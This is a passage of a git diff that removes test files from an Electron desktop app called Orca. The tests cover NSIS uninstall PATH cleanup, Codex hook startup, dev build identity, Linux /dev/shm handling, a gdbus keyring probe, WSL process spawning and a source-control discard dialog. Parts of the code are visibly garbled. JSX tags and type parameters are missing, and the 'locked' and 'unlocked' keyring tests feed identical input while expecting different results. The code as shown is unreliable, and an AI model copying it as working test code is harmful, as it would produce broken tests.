""\s+(?:;[^\n]*\n\s+)?StrCpy \$\{OUT\} "unknown"\s+\$\{elseIf\} \$R5 != \$INSTDIR/ - ) - }) - - it("removes the `orca` command's PATH entry on a real uninstall only", () => { - const hooksFile = nsis('orca-installer-hooks.nsh') - expect(hooksFile).toContain('!include "${__FILEDIR__}\\orca-user-path-cleanup.nsh"') - const call = '!insertmacro ORCA_REMOVE_USER_PATH_ENTRY "$INSTDIR\\resources\\bin"' - expect(realUninstallBranch()).toContain(call) - expect(hooksFile.split(call)).toHaveLength(2) - // The directory the app registers: the packaged launcher's folder. - const launcher = getBundledLauncherPath('win32', join('INSTDIR', 'resources')) - expect( - dirname(launcher ?? '') - .split(/[\\/]/) - .slice(-2) - ).toEqual(['resources', 'bin']) - }) - - it('edits PATH natively, keeps its type, and never writes back a truncated read', () => { - const cleanup = nsis('orca-user-path-cleanup.nsh') - const code = cleanup - .split('\n') - .filter((line) => !line.trim().startsWith(';')) - .join('\n') - expect(code).not.toMatch(/nsExec|ExecWait|powershell|reg\.exe|reg add/i) - expect(cleanup).toContain('IntOp $R2 ${NSIS_MAX_STRLEN} - 1') - expect(cleanup).toMatch(/\$\{andIf\} \$R1 < \$R2/) - expect(cleanup).toContain('WriteRegExpandStr HKCU "Environment" "Path" $R3') - expect(cleanup).toContain('WriteRegStr HKCU "Environment" "Path" $R3') - // Only a removal rewrites PATH, and only with a value type it actually read. - expect(cleanup).toMatch(/\$\{if\} \$R7 == 1\s+\$\{andIf\} \$R8 != ""/) - expect(cleanup.indexOf('${if} $R7 == 1')).toBeLessThan(cleanup.indexOf('WriteRegExpandStr')) - expect(cleanup).toContain('StrCpy $R8 ""') - expect(cleanup).toMatch(/\$\{if\} \$R7 == 0\s+StrCpy \$R8 \$R4/) - expect(cleanup).toContain('${elseIf} $R8 == ${ORCA_REG_SZ}') - expect(cleanup).not.toMatch(/\$\{else\}\s+WriteRegStr/) - }) -}) diff --git a/src/main/startup/codex-hook-startup-wiring.test.ts b/src/main/startup/codex-hook-startup-wiring.test.ts deleted file mode 100644 index 09bdab5d8a2..00000000000 --- a/src/main/startup/codex-hook-startup-wiring.test.ts +++ /dev/null @@ -1,132 +0,0 @@ -import { beforeEach, describe, expect, it, vi } from 'vitest' -import type { GlobalSettings } from '../../shared/global-settings-types' - -const fixture = vi.hoisted(() => { - const settings: Partial = { agentStatusHooksEnabled: true } - return { - app: { isPackaged: true, on: vi.fn() }, - settings, - pathReady: Promise.resolve(), - startCodexHooks: vi.fn(), - installFirstWorkRename: vi.fn() - } -}) - -vi.mock('electron', () => ({ app: fixture.app, nativeTheme: {} })) -vi.mock('../codex/codex-hook-reconcile', () => ({ startCodexHooks: fixture.startCodexHooks })) -vi.mock('../agent-hooks/local-agent-cli-presence', () => ({ - hydrateAgentCliShellPath: () => fixture.pathReady -})) -// Use the real opt-out predicate to keep startup aligned with managed launches. -vi.mock( - '../agent-hooks/managed-agent-hook-controls', - async () => await import('../../shared/agent-status-hooks-setting') -) -vi.mock('./main-process-state', () => ({ - mainProcessState: { store: { getSettings: () => fixture.settings } } -})) -vi.mock('./main-process-runtime-service', () => ({ - initializeMainProcessRuntime: () => ({ - setAgentBrowserBridge: vi.fn(), - setEmulatorBridge: vi.fn() - }), - configureRuntimeServices: vi.fn() -})) -vi.mock('../star-nag/service', () => ({ - StarNagService: class { - start = vi.fn() - registerIpcHandlers = vi.fn() - } -})) -vi.mock('../browser/agent-browser-bridge', () => ({ - AgentBrowserBridge: class { - sweepOrphanedSessions = vi.fn() - } -})) -vi.mock('../emulator/emulator-bridge', () => ({ EmulatorBridge: class {} })) -vi.mock('../runtime/rpc/dispatcher', () => ({ RpcDispatcher: class {} })) -vi.mock('../browser/browser-manager', () => ({ browserManager: {} })) -vi.mock('../browser/browser-client-page-automation-runtime', () => ({ - configureBrowserClientPageAutomationRuntime: vi.fn() -})) -vi.mock('../crash-reporting/process-gone-diagnostics', () => ({ - startPreGoneCrashSampling: vi.fn() -})) -vi.mock('./main-window-lifecycle-flags', () => ({ recordProcessGoneCrash: vi.fn() })) -vi.mock('./gpu-lifecycle', () => ({ handleGpuChildCrash: vi.fn() })) -vi.mock('./configure-process', () => ({ shouldInstallManagedHooks: () => false })) -vi.mock('../agent-hooks/install-telemetry', () => ({ recordManagedHookInstallFailure: vi.fn() })) -vi.mock('./main-process-observers', () => ({ initializeMainProcessObservers: vi.fn() })) -vi.mock('./branch-rename-hook', () => ({ - installFirstWorkRenameHookSubscription: fixture.installFirstWorkRename -})) -vi.mock('./main-process-account-services', () => ({ - initializeMainProcessAccountServices: vi.fn() -})) -vi.mock('./main-process-automations', () => ({ initializeMainProcessAutomations: vi.fn() })) -vi.mock('./main-process-plugins', () => ({ initializeMainProcessPlugins: vi.fn() })) -vi.mock('../worktree-trash', () => ({ - collectWorktreeTrashSweepRoots: vi.fn(), - sweepStaleWorktreeTrash: vi.fn() -})) -vi.mock('./worktree-removal-records-load', () => ({ loadWorktreeRemovalRecordsForStore: vi.fn() })) -vi.mock('./first-window-deferral', () => ({ runAfterFirstWindowShown: vi.fn() })) -vi.mock('./startup-diagnostics', () => ({ logStartupMilestone: vi.fn() })) -vi.mock('../opencode/opencode-status-plugin-startup-refresh', () => ({ - refreshInstalledOpenCodeStatusPlugins: vi.fn() -})) -vi.mock('../orcad/orcad-artifact-cache-retention', () => ({ - pruneDesktopOrcadArtifactCache: vi.fn() -})) - -import { initializeReadyRuntimeServices } from './main-process-ready-runtime' - -// Start reconciles ~/.codex; awaiting shell PATH avoids launchd failing to find Codex. - -beforeEach(() => { - fixture.startCodexHooks.mockClear() - fixture.settings.disabledTuiAgents = [] -}) - -describe('Codex hook startup', () => { - it('starts once in app readiness, after the shell PATH is hydrated', async () => { - let hydrate: () => void = () => {} - fixture.pathReady = new Promise((resolve) => { - hydrate = resolve - }) - - await initializeReadyRuntimeServices() - - expect(fixture.startCodexHooks).toHaveBeenCalledTimes(1) - let ready = false - const { pathReady } = fixture.startCodexHooks.mock.calls[0]![0] - void pathReady.then(() => { - ready = true - }) - await new Promise((resolve) => setTimeout(resolve, 10)) - expect(ready).toBe(false) - hydrate() - await pathReady - expect(ready).toBe(true) - }) - - it("reads Codex's per-agent hook setting each time it is asked", async () => { - await initializeReadyRuntimeServices() - const { isEnabled } = fixture.startCodexHooks.mock.calls[0]![0] - - expect(isEnabled()).toBe(true) - fixture.settings.disabledTuiAgents = ['codex'] - expect(isEnabled()).toBe(false) - }) -}) - -// Headless serve never opens a window, so app readiness must arm rename (STA-5871). -describe('First-work rename startup', () => { - it('arms the hook subscription during app readiness, without a window', async () => { - fixture.installFirstWorkRename.mockClear() - - await initializeReadyRuntimeServices() - - expect(fixture.installFirstWorkRename).toHaveBeenCalledTimes(1) - }) -}) diff --git a/src/main/startup/dev-instance-identity.test.ts b/src/main/startup/dev-instance-identity.test.ts deleted file mode 100644 index 18d67d961bc..00000000000 --- a/src/main/startup/dev-instance-identity.test.ts +++ /dev/null @@ -1,78 +0,0 @@ -import { describe, expect, it } from 'vitest' -import { getDevInstanceIdentity, shouldApplyPreReadyAppName } from './dev-instance-identity' - -describe('dev-instance-identity', () => { - it('keeps packaged identity stable', () => { - expect(getDevInstanceIdentity(false, {})).toMatchObject({ - name: 'Orca', - appName: 'Orca', - isDev: false, - devLabel: null, - dockBadgeLabel: null, - appUserModelId: 'com.stablyai.orca' - }) - }) - - it('pins a stable dev appName across branches so the safeStorage key does not churn', () => { - const a = getDevInstanceIdentity(true, { ORCA_DEV_BRANCH: 'feature/a' }) - const b = getDevInstanceIdentity(true, { ORCA_DEV_BRANCH: 'feature/b' }) - - expect(a.name).not.toBe(b.name) - expect(a.appName).toBe('Orca Dev') - expect(b.appName).toBe('Orca Dev') - expect(a.appName).not.toBe('Orca') - }) - - it('never renames a packaged build before ready', () => { - // Packaged forks must retain their CFBundleName-derived safeStorage key or encrypted secrets become orphaned. - expect(shouldApplyPreReadyAppName(getDevInstanceIdentity(false, {}))).toBe(false) - expect(shouldApplyPreReadyAppName({ isDev: false })).toBe(false) - }) - - it('applies the dev name before ready so safeStorage sees it', () => { - expect(shouldApplyPreReadyAppName(getDevInstanceIdentity(true, {}))).toBe(true) - }) - - it('derives a readable dev label from worktree and branch env', () => { - const identity = getDevInstanceIdentity(true, { - ORCA_DEV_REPO_ROOT: '/repo/worktrees/dev-indicator', - ORCA_DEV_WORKTREE_NAME: 'dev-indicator', - ORCA_DEV_BRANCH: 'nwparker/dev-indicator' - }) - - expect(identity).toMatchObject({ - isDev: true, - devLabel: 'dev-indicator', - devBranch: 'nwparker/dev-indicator', - devWorktreeName: 'dev-indicator', - devRepoRoot: '/repo/worktrees/dev-indicator' - }) - expect(identity.name).toBe('Orca: nwparker/dev-indicator') - expect(identity.dockBadgeLabel).toBeNull() - expect(identity.appUserModelId).toMatch(/^com\.stablyai\.orca\.dev\.[a-f0-9]{10}$/) - }) - - it('includes the branch when it differs from the worktree basename', () => { - const identity = getDevInstanceIdentity(true, { - ORCA_DEV_REPO_ROOT: '/repo/worktrees/payment-ui', - ORCA_DEV_WORKTREE_NAME: 'payment-ui', - ORCA_DEV_BRANCH: 'feature/billing-shell' - }) - - expect(identity.devLabel).toBe('payment-ui @ feature/billing-shell') - expect(identity.name).toBe('Orca: feature/billing-shell') - expect(identity.dockBadgeLabel).toBeNull() - }) - - it('allows an explicit label override', () => { - const identity = getDevInstanceIdentity(true, { - ORCA_DEV_INSTANCE_LABEL: 'manual label', - ORCA_DEV_WORKTREE_NAME: 'dev-indicator', - ORCA_DEV_BRANCH: 'feature/other' - }) - - expect(identity.devLabel).toBe('manual label') - expect(identity.name).toBe('Orca: feature/other') - expect(identity.dockBadgeLabel).toBeNull() - }) -}) diff --git a/src/main/startup/linux-dev-shm-policy.test.ts b/src/main/startup/linux-dev-shm-policy.test.ts deleted file mode 100644 index 9f95882a06b..00000000000 --- a/src/main/startup/linux-dev-shm-policy.test.ts +++ /dev/null @@ -1,145 +0,0 @@ -import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' - -const { appMock, statfsSyncMock, breadcrumbMock } = vi.hoisted(() => ({ - appMock: { - commandLine: { - appendSwitch: vi.fn(), - hasSwitch: vi.fn(() => false) - } - }, - statfsSyncMock: vi.fn(), - breadcrumbMock: vi.fn() -})) - -vi.mock('electron', () => ({ app: appMock })) -vi.mock('node:fs', async (importOriginal) => ({ - ...(await importOriginal>()), - statfsSync: statfsSyncMock -})) -vi.mock('../crash-reporting/crash-breadcrumb-store', () => ({ - recordCrashBreadcrumb: breadcrumbMock -})) - -const MIB = 1024 * 1024 -const originalPlatform = process.platform -const originalOverride = process.env.ORCA_DEV_SHM - -function setPlatform(platform: NodeJS.Platform): void { - Object.defineProperty(process, 'platform', { value: platform, configurable: true }) -} - -function mockDevShm(totalMib: number, freeMib: number): void { - // statfs reports sizes in blocks; use 4 KiB blocks like tmpfs. - const bsize = 4096 - statfsSyncMock.mockReturnValue({ - bsize, - blocks: (totalMib * MIB) / bsize, - bavail: (freeMib * MIB) / bsize - }) -} - -beforeEach(() => { - vi.resetModules() - appMock.commandLine.appendSwitch.mockReset() - appMock.commandLine.hasSwitch.mockReset() - appMock.commandLine.hasSwitch.mockReturnValue(false) - statfsSyncMock.mockReset() - breadcrumbMock.mockReset() - delete process.env.ORCA_DEV_SHM -}) - -afterEach(() => { - setPlatform(originalPlatform) - if (originalOverride === undefined) { - delete process.env.ORCA_DEV_SHM - } else { - process.env.ORCA_DEV_SHM = originalOverride - } -}) - -describe('configureLinuxDevShmUsage', () => { - it('moves Chromium shared memory off a Docker-default 64 MB /dev/shm', async () => { - setPlatform('linux') - mockDevShm(64, 60) - const { configureLinuxDevShmUsage } = await import('./linux-dev-shm-policy') - - configureLinuxDevShmUsage() - - expect(statfsSyncMock).toHaveBeenCalledWith('/dev/shm') - expect(appMock.commandLine.appendSwitch).toHaveBeenCalledWith('disable-dev-shm-usage') - expect(breadcrumbMock).toHaveBeenCalledWith('dev_shm_policy', { - devShmTotalMB: 64, - devShmFreeMB: 60, - devShmUsageDisabled: true, - reason: 'small' - }) - }) - - it('leaves a normally sized /dev/shm on the fast shared-memory path', async () => { - setPlatform('linux') - mockDevShm(8192, 8000) - const { configureLinuxDevShmUsage } = await import('./linux-dev-shm-policy') - - configureLinuxDevShmUsage() - - expect(appMock.commandLine.appendSwitch).not.toHaveBeenCalled() - expect(breadcrumbMock).toHaveBeenCalledWith('dev_shm_policy', { - devShmTotalMB: 8192, - devShmFreeMB: 8000, - devShmUsageDisabled: false, - reason: 'ok' - }) - }) - - it('disables /dev/shm usage when the mount is missing', async () => { - setPlatform('linux') - statfsSyncMock.mockImplementation(() => { - throw Object.assign(new Error('ENOENT'), { code: 'ENOENT' }) - }) - const { configureLinuxDevShmUsage } = await import('./linux-dev-shm-policy') - - configureLinuxDevShmUsage() - - expect(appMock.commandLine.appendSwitch).toHaveBeenCalledWith('disable-dev-shm-usage') - expect(breadcrumbMock).toHaveBeenCalledWith('dev_shm_policy', { - devShmUsageDisabled: true, - reason: 'unreadable' - }) - }) - - it('honors ORCA_DEV_SHM=off on a small mount and =force on a large one', async () => { - setPlatform('linux') - mockDevShm(64, 60) - process.env.ORCA_DEV_SHM = 'off' - const { configureLinuxDevShmUsage } = await import('./linux-dev-shm-policy') - configureLinuxDevShmUsage() - expect(appMock.commandLine.appendSwitch).not.toHaveBeenCalled() - - mockDevShm(8192, 8000) - process.env.ORCA_DEV_SHM = 'force' - configureLinuxDevShmUsage() - expect(appMock.commandLine.appendSwitch).toHaveBeenCalledWith('disable-dev-shm-usage') - }) - - it('does not append the switch twice when it is already on the command line', async () => { - setPlatform('linux') - mockDevShm(64, 60) - appMock.commandLine.hasSwitch.mockReturnValue(true) - const { configureLinuxDevShmUsage } = await import('./linux-dev-shm-policy') - - configureLinuxDevShmUsage() - - expect(appMock.commandLine.appendSwitch).not.toHaveBeenCalled() - }) - - it('is a no-op off Linux', async () => { - setPlatform('darwin') - const { configureLinuxDevShmUsage } = await import('./linux-dev-shm-policy') - - configureLinuxDevShmUsage() - - expect(statfsSyncMock).not.toHaveBeenCalled() - expect(appMock.commandLine.appendSwitch).not.toHaveBeenCalled() - expect(breadcrumbMock).not.toHaveBeenCalled() - }) -}) diff --git a/src/main/startup/linux-secret-service-probe.test.ts b/src/main/startup/linux-secret-service-probe.test.ts deleted file mode 100644 index 57046f0cf0e..00000000000 --- a/src/main/startup/linux-secret-service-probe.test.ts +++ /dev/null @@ -1,59 +0,0 @@ -import { beforeEach, describe, expect, it, vi } from 'vitest' - -const runProcessSync = vi.hoisted(() => vi.fn()) -vi.mock('@orca/process-host', () => ({ runProcessSync })) - -const { probeSecretServiceCollection } = await import('./linux-secret-service-probe') - -function answers(overrides: Partial<{ code: number | null; stdout: string; timedOut: boolean }>) { - runProcessSync.mockReturnValue({ code: 0, stdout: '', stderr: '', timedOut: false, ...overrides }) -} - -describe('probeSecretServiceCollection', () => { - beforeEach(() => vi.clearAllMocks()) - - it('reports unlocked for the gdbus false variant', () => { - answers({ stdout: '(,)\n' }) - expect(probeSecretServiceCollection()).toBe('unlocked') - }) - - it('reports locked for the gdbus true variant', () => { - answers({ stdout: '(,)\n' }) - expect(probeSecretServiceCollection()).toBe('locked') - }) - - it('reports unavailable when no name owns org.freedesktop.secrets', () => { - answers({ code: 1, stdout: '' }) - expect(probeSecretServiceCollection()).toBe('unavailable') - }) - - // Timeout proves no collection state; report unavailable rather than invent a locked verdict. - it('reports unavailable when the probe is killed on its timeout', () => { - answers({ code: null, stdout: '', timedOut: true }) - expect(probeSecretServiceCollection()).toBe('unavailable') - }) - - it('reports unavailable when gdbus is not installed', () => { - runProcessSync.mockImplementation(() => { - throw Object.assign(new Error('spawnSync gdbus ENOENT'), { code: 'ENOENT' }) - }) - expect(probeSecretServiceCollection()).toBe('unavailable') - }) - - it('reports unavailable for output it does not recognise rather than assuming', () => { - answers({ stdout: '(<@ms "something else">,)' }) - expect(probeSecretServiceCollection()).toBe('unavailable') - }) - - // Require a kill deadline and a non-prompting property read so the probe cannot reproduce the stall. - it('bounds the child with a timeout and reads a property that cannot prompt', () => { - answers({ stdout: '(,)' }) - probeSecretServiceCollection() - const spec = runProcessSync.mock.calls[0]![0] - expect(spec.timeoutMs).toBeGreaterThan(0) - expect(spec.program).toBe('gdbus') - expect(spec.args).toContain('org.freedesktop.DBus.Properties.Get') - expect(spec.args).toContain('Locked') - expect(spec.args).not.toContain('Unlock') - }) -}) diff --git a/src/main/startup/wsl-holder-uninstall-preflight.test.ts b/src/main/startup/wsl-holder-uninstall-preflight.test.ts deleted file mode 100644 index d5ea35eac66..00000000000 --- a/src/main/startup/wsl-holder-uninstall-preflight.test.ts +++ /dev/null @@ -1,133 +0,0 @@ -import { mkdtempSync, readFileSync, rmSync } from 'node:fs' -import { tmpdir } from 'node:os' -import { join } from 'node:path' -import { describe, expect, it, vi } from 'vitest' -import type { WslDistroHolder, WslDistroHolderAdoption } from '../wsl/wsl-distro-holder' - -const electron = vi.hoisted(() => ({ - userDataPath: '/user-data', - exit: vi.fn(), - requestSingleInstanceLock: vi.fn(), - BrowserWindow: vi.fn(), - handle: vi.fn() -})) -const appData = vi.hoisted(() => ({ ensure: vi.fn() })) - -vi.mock('electron', () => ({ - app: { - exit: electron.exit, - getPath: () => electron.userDataPath, - setPath: vi.fn(), - requestSingleInstanceLock: electron.requestSingleInstanceLock - }, - BrowserWindow: electron.BrowserWindow, - ipcMain: { handle: electron.handle } -})) -vi.mock('./windows-app-data-path', () => ({ ensureWindowsAppDataPath: appData.ensure })) - -import { - releaseWslHoldersForUninstall, - runWslHolderUninstallPreflight, - WSL_HOLDER_UNINSTALL_FLAG -} from './wsl-holder-uninstall-preflight' - -function holder(release: () => Promise): WslDistroHolder { - return { - ensureHeld: vi.fn(), - adoptHolders: vi.fn(), - release: vi.fn(), - releaseAll: vi.fn(release), - holderState: vi.fn() - } -} - -describe('WSL holder release on uninstall', () => { - it('succeeds only when every recorded holder is proven gone', async () => { - vi.spyOn(console, 'warn').mockImplementation(() => {}) - const released = holder(async () => [{ distro: 'ubuntu', state: 'exited' }]) - await expect(releaseWslHoldersForUninstall(released)).resolves.toBe(0) - // Uninstall trusts a matching holder command line; nothing later could release it. - expect(released.releaseAll).toHaveBeenCalledWith({ forUninstall: true }) - await expect(releaseWslHoldersForUninstall(holder(async () => []))).resolves.toBe(0) - await expect( - releaseWslHoldersForUninstall( - holder(async () => [ - { distro: 'ubuntu', state: 'exited' }, - { distro: 'debian', state: 'unverifiable' } - ]) - ) - ).resolves.toBe(1) - await expect( - releaseWslHoldersForUninstall( - holder(async () => { - throw new Error('table unreadable') - }) - ) - ).resolves.toBe(1) - }) - - it('runs from the uninstaller only, after the app and its daemon are gone', () => { - const hooks = readFileSync( - new URL('../../../config/nsis/orca-installer-hooks.nsh', import.meta.url), - 'utf8' - ) - const unInstall = hooks.slice(hooks.indexOf('!macro customUnInstall')) - const realUninstall = unInstall.slice( - unInstall.indexOf('${ifNot} ${isUpdated}'), - // The real-uninstall branch ends with the relocated daemon host's cleanup. - unInstall.indexOf('daemon-host-profiles') - ) - const release = realUninstall.indexOf( - `nsExec::Exec '"$INSTDIR\\\${APP_EXECUTABLE_FILENAME}" ${WSL_HOLDER_UNINSTALL_FLAG}'` - ) - expect(release).toBeGreaterThan(-1) - // Killed first, so no running Orca can respawn a holder behind the release. - expect(release).toBeGreaterThan(realUninstall.indexOf('orca-terminal-daemon.exe')) - expect(hooks.split(WSL_HOLDER_UNINSTALL_FLAG)).toHaveLength(2) - }) - - it('exits 0 with no holder records, and opens no window, lock or IPC', async () => { - electron.userDataPath = mkdtempSync(join(tmpdir(), 'orca-uninstall-no-holders-')) - electron.exit.mockClear() - try { - expect(runWslHolderUninstallPreflight(['Orca.exe', WSL_HOLDER_UNINSTALL_FLAG])).toBe(true) - await vi.waitFor(() => expect(electron.exit).toHaveBeenCalledWith(0)) - expect(electron.BrowserWindow).not.toHaveBeenCalled() - expect(electron.requestSingleInstanceLock).not.toHaveBeenCalled() - expect(electron.handle).not.toHaveBeenCalled() - } finally { - rmSync(electron.userDataPath, { recursive: true, force: true }) - } - }) - - it('exits 1 rather than leaving an error box when setup throws', () => { - vi.useFakeTimers() - electron.exit.mockClear() - appData.ensure.mockImplementationOnce(() => { - throw new Error('Orca could not find the Windows roaming AppData folder') - }) - try { - vi.spyOn(console, 'warn').mockImplementation(() => {}) - expect(runWslHolderUninstallPreflight(['Orca.exe', WSL_HOLDER_UNINSTALL_FLAG])).toBe(true) - expect(electron.exit).toHaveBeenCalledExactlyOnceWith(1) - // The timer armed before setup is cleared, so it can't exit a second time. - vi.runAllTimers() - expect(electron.exit).toHaveBeenCalledOnce() - } finally { - vi.useRealTimers() - } - }) - - it('launches from the uninstaller only for a userData that has holder records', () => { - const hooks = readFileSync( - new URL('../../../config/nsis/orca-installer-hooks.nsh', import.meta.url), - 'utf8' - ) - const launch = hooks.indexOf(`--orca-uninstall-release-wsl-holders'`) - const gate = hooks.lastIndexOf('${if} $1 == "1"', launch) - expect(gate).toBeGreaterThan(-1) - expect(hooks.slice(0, gate)).toMatch( - /\$\{FileExists\} "\$APPDATA\\\$\{APP_PACKAGE_NAME\}\\wsl-distro-holders\\\*\.json"/ - ) - }) -}) diff --git a/src/main/wsl/wsl-w1-w3-contract.test.ts b/src/main/wsl/wsl-w1-w3-contract.test.ts deleted file mode 100644 index 074cca8d8ed..00000000000 --- a/src/main/wsl/wsl-w1-w3-contract.test.ts +++ /dev/null @@ -1,153 +0,0 @@ -import { describe, expect, it, vi, beforeEach } from 'vitest' - -const runProcessMock = vi.hoisted(() => vi.fn()) -vi.mock('@orca/process-host', () => ({ runProcess: runProcessMock })) -vi.mock('./wsl-executable-path', () => ({ - resolveWslExecutablePath: () => 'C:\\Windows\\System32\\wsl.exe' -})) - -import { runWslProcess } from './wsl-runner' -import { - invalidateWslGuestEnvironment, - seedWslGuestEnvironmentForTests -} from './wsl-guest-environment' - -/** W1 spawn, W2 Windows ownership and W3 WSL runner compose one contract; keep regressions together across all three layers. */ -const ENV = { path: '/home/u/.nvm/bin:/usr/bin', home: '/home/u', envBinary: '/usr/bin/env' } - -function spawnSpec(): Record { - return runProcessMock.mock.calls.at(-1)?.[0] as Record -} - -beforeEach(() => { - runProcessMock.mockReset() - runProcessMock.mockResolvedValue({ - code: 0, - signal: null, - stdout: '', - stderr: '', - timedOut: false - }) - invalidateWslGuestEnvironment(undefined, true) - seedWslGuestEnvironmentForTests(undefined, ENV) - seedWslGuestEnvironmentForTests('Ubuntu', ENV) -}) - -describe('W1: every WSL call inherits the spawn chokepoint', () => { - it('resolves wsl.exe absolutely, never by bare name', async () => { - // Bare executable resolution is vulnerable to Group Policy/stripped Electron PATH (#15749). - await runWslProcess({ loginPath: 'preferred', distro: 'Ubuntu', program: '/bin/true' }) - expect(spawnSpec().program).toBe('C:\\Windows\\System32\\wsl.exe') - }) - - it('passes argv as an array, never a command string', async () => { - // Pass argv rather than return quoting responsibility to callers. - await runWslProcess({ - loginPath: 'preferred', - distro: 'Ubuntu', - program: '/bin/echo', - args: ['a b'] - }) - expect(Array.isArray(spawnSpec().args)).toBe(true) - expect(spawnSpec().args).toContain('a b') - }) - - it('always bounds the call', async () => { - await runWslProcess({ loginPath: 'preferred', distro: 'Ubuntu', program: '/bin/true' }) - expect(spawnSpec().timeoutMs).toBeGreaterThan(0) - }) -}) - -describe('W3: the five per-call decisions are made once', () => { - it('never uses the -- separator, which expands $name host-side', async () => { - await runWslProcess({ loginPath: 'preferred', distro: 'Ubuntu', script: 'echo "$HOME"' }) - const argv = spawnSpec().args as string[] - // Assert the wsl.exe separator position; later -- belongs to the guest shell. - const separator = argv.findIndex((a) => a === '--' || a === '--exec') - expect(argv[separator]).toBe('--exec') - }) - - it('keeps a script byte-identical instead of encoding it', async () => { - // --exec preserves exact script argv and stdin without base64/eval quote repair (#14292). - const script = `case "$x" in a) echo 'it'\\''s fine';; esac` - await runWslProcess({ loginPath: 'preferred', distro: 'Ubuntu', script }) - expect(spawnSpec().args).toContain(script) - expect(spawnSpec().input).toBeUndefined() - }) - - it('propagates env only through WSLENV', async () => { - await runWslProcess({ - loginPath: 'preferred', - distro: 'Ubuntu', - program: '/bin/true', - env: { GITLAB_HOST: 'git.example.com' } - }) - const env = spawnSpec().env as NodeJS.ProcessEnv - expect(env.WSLENV).toContain('GITLAB_HOST') - }) - - it('runs no shell on the probe lane, so ~/.profile cannot stall it', async () => { - // #14288: blocking profiles must not consume the command timeout. - await runWslProcess({ loginPath: 'preferred', distro: 'Ubuntu', program: 'codex' }) - expect(JSON.stringify(spawnSpec().args)).not.toContain('_orca_wsl_shell') - }) - - it('applies the user login PATH even with no shell in the loop', async () => { - // Keep nvm-installed tools visible through login PATH (#9725/#7563/#8366). - await runWslProcess({ loginPath: 'preferred', distro: 'Ubuntu', program: 'codex' }) - expect(spawnSpec().args).toContain('PATH=/home/u/.nvm/bin:/usr/bin') - }) -}) - -describe('failure modes stay distinguishable', () => { - it('a non-zero exit is data, not an exception', async () => { - // Nonzero process exits resolve; callers must receive the code. - runProcessMock.mockResolvedValue({ - code: 3, - signal: null, - stdout: 'partial', - stderr: '', - timedOut: false - }) - const result = await runWslProcess({ - loginPath: 'preferred', - distro: 'Ubuntu', - program: '/bin/false' - }) - expect(result.code).toBe(3) - expect(result.timedOut).toBe(false) - }) - - it('a timeout is reported, not disguised as an empty answer', async () => { - runProcessMock.mockResolvedValue({ - code: null, - signal: null, - stdout: '', - stderr: '', - timedOut: true - }) - const result = await runWslProcess({ - loginPath: 'preferred', - distro: 'Ubuntu', - program: '/bin/true' - }) - expect(result.timedOut).toBe(true) - }) - - it('an unresolved login PATH is reported, never fatal', async () => { - invalidateWslGuestEnvironment(undefined, true) - runProcessMock.mockResolvedValue({ - code: 1, - signal: null, - stdout: '', - stderr: 'stopped', - timedOut: false - }) - const result = await runWslProcess({ - loginPath: 'preferred', - distro: 'Ubuntu', - program: 'codex' - }) - expect(result.environmentResolved).toBe(false) - }) -}) diff --git a/src/renderer/src/components/right-sidebar/source-control-discard-dialog.test.tsx b/src/renderer/src/components/right-sidebar/source-control-discard-dialog.test.tsx deleted file mode 100644 index fce999ae9d4..00000000000 --- a/src/renderer/src/components/right-sidebar/source-control-discard-dialog.test.tsx +++ /dev/null @@ -1,142 +0,0 @@ -import { renderToStaticMarkup } from 'react-dom/server' -import type { ButtonHTMLAttributes, ReactNode } from 'react' -import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' -import { i18n } from '@/i18n/i18n' -import es from '@/i18n/locales/es.json' -import type { GitStatusEntry } from '../../../../shared/git-status-types' - -type CapturedButtonProps = ButtonHTMLAttributes & { - children?: ReactNode - variant?: string -} - -const mocks = vi.hoisted(() => ({ - buttons: [] as CapturedButtonProps[], - dialogContentProps: [] as Record[] -})) - -vi.mock('@/components/ui/dialog', () => ({ - Dialog: ({ open, children }: { open: boolean; children: ReactNode }) => - open ?
{children}
: null, - DialogContent: ({ - children, - ...props - }: { - children: ReactNode - onOpenAutoFocus?: (event: Event) => void - }) => { - mocks.dialogContentProps.push(props) - return
{children}
- }, - DialogDescription: ({ children }: { children: ReactNode }) =>

{children}

, - DialogFooter: ({ children }: { children: ReactNode }) =>
{children}
, - DialogHeader: ({ children }: { children: ReactNode }) =>
{children}
, - DialogTitle: ({ children }: { children: ReactNode }) =>

{children}

-})) - -vi.mock('@/components/ui/button', async () => { - const ReactModule = await import('react') - return { - Button: ReactModule.forwardRef(function Button( - { children, variant: _variant, ...props }, - ref - ) { - mocks.buttons.push({ ...props, variant: _variant, children }) - return ( - - ) - }) - } -}) - -function entry(partial: Partial & { path: string }): GitStatusEntry { - return { - area: 'unstaged', - status: 'modified', - ...partial - } -} - -function textContent(node: ReactNode): string { - if (node == null || typeof node === 'boolean') { - return '' - } - if (typeof node === 'string' || typeof node === 'number') { - return String(node) - } - if (Array.isArray(node)) { - return node.map(textContent).join('') - } - if (typeof node === 'object' && 'props' in node) { - return textContent((node as { props?: { children?: ReactNode } }).props?.children) - } - return '' -} - -afterEach(async () => { - await i18n.changeLanguage('en') -}) - -describe('SourceControlDiscardDialog', () => { - beforeEach(() => { - mocks.buttons = [] - mocks.dialogContentProps = [] - }) - - it('keeps the delete icon when its label is translated', async () => { - i18n.addResourceBundle('es', 'translation', es) - await i18n.changeLanguage('es') - const { SourceControlDiscardDialog } = await import('./source-control/commit/discard-dialog') - const markup = renderToStaticMarkup( - - ) - expect(markup).toContain('lucide-trash') - expect(markup).not.toContain('lucide-undo-2') - expect(markup).toContain(es.sourceControl.discard.deleteCount.replace('{{count}}', '2')) - }) - - it('makes the discard button the dialog default action', async () => { - const { SourceControlDiscardDialog } = await import('./source-control/commit/discard-dialog') - - renderToStaticMarkup( - - ) - - const cancelButton = mocks.buttons.find((button) => textContent(button.children) === 'Cancel') - const discardButton = mocks.buttons.find((button) => - textContent(button.children).includes('Discard') - ) - - expect(cancelButton?.autoFocus).not.toBe(true) - expect(discardButton?.variant).toBe('destructive') - expect(discardButton?.autoFocus).toBe(true) - expect(mocks.dialogContentProps[0]?.onOpenAutoFocus).toEqual(expect.any(Function)) - }) -}) - -describe('focusDiscardDialogConfirmButton', () => { - it('prevents Radix from focusing the first tabbable button', async () => { - const { focusDiscardDialogConfirmButton } = - await import('./source-control/commit/discard-dialog') - const event = { preventDefault: vi.fn() } as unknown as Event - const confirmButton = { focus: vi.fn() } as unknown as HTMLButtonElement - - focusDiscardDialogConfirmButton(event, confirmButton) - - expect(event.preventDefault).toHaveBeenCalledTimes(1) - expect(confirmButton.focus).toHaveBeenCalledTimes(1) - }) 